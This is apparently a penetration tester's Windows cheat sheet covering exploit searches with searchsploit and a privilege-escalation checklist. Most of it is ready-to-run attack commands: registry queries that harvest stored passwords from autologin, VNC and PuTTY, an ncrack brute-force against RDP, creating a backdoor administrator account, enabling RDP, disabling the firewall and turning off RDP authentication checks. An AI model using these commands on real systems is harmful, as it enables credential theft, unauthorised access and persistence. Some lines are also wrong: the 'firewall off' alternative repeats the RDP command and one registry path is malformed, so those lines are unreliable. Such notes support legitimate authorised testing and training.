Vulnerability analysis

Now we have gathered information about the system. Now comes the part where we look for exploits and vulnerabilities and features.

To try - List of possibilities

Add possible exploits here:

Find sploits - Searchsploit and google

Where there are many exploits for a software, use google. It will automatically sort it by popularity.

site:exploit-db.com apache 2.4.7

# Remove dos-exploits

searchsploit Apache 2.4.7 | grep -v '/dos/'
searchsploit Apache | grep -v '/dos/' | grep -vi "tomcat"

# Only search the title (exclude the path), add the -t
searchsploit -t Apache | grep -v '/dos/'

Privilege escalation

Now we start the whole enumeration-process over gain. This is a checklist. You need to check of every single one, in this order.

  • Kernel exploits
  • Cleartext password
  • Reconfigure service parameters
  • Inside service
  • Program running as root
  • Installed software
  • Scheduled tasks
  • Weak passwords

To-try list

Here you will add all possible leads. What to try.

Basic info

  • OS:
  • Version:
  • Architecture:
  • Current user:
  • Hotfixes:
  • Antivirus:

Users:

Localgroups:

systeminfo
set
hostname
net users
net user user1
net localgroups
accesschk.exe -uwcqv "Authenticated Users" *

netsh firewall show state
netsh firewall show config

# Set path
set PATH=%PATH%;C:\xampp\php

Kernel exploits

# Look for hotfixes
systeminfo

wmic qfe get Caption,Description,HotFixID,InstalledOn

# Search for exploits
site:exploit-db.com windows XX XX

Cleartext passwords

# Windows autologin
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"

# VNC
reg query "HKCU\Software\ORL\WinVNC3\Password"

# SNMP Parameters
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"

# Putty
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"

# Search for password in registry
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

Reconfigure service parameters

  • Unquoted service paths

Check book for instructions

  • Weak service permissions

Check book for instructions

Inside service

Check netstat to see what ports are open from outside and from inside. Look for ports only available on the inside.

# Meterpreter
run get_local_subnets

netstat /a
netstat -ano

Programs running as root/system

Installed software

# Metasploit
ps

tasklist /SVC
net start
reg query HKEY_LOCAL_MACHINE\SOFTWARE
DRIVERQUERY

Look in:
C:\Program files
C:\Program files (x86)
Home directory of the user

Scheduled tasks

schtasks /query /fo LIST /v

Check this file:
c:\WINDOWS\SchedLgU.Txt

Weak passwords

Remote desktop

ncrack -vv --user george -P /root/oscp/passwords.txt rdp://INSERTIPADDRESS

Useful commands

Add user and enable RDP

net user haxxor Haxxor123 /add
net localgroup Administrators haxxor /add
net localgroup "Remote Desktop Users" haxxor /ADD

# Enable RDP
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

Turn firewall off
netsh firewall set opmode disable

Or like this
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

If you get this error:

"ERROR: CredSSP: Initialize failed, do you have correct kerberos tgt initialized ?
Failed to connect, CredSSP required by server.""

Add this reg key:

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f
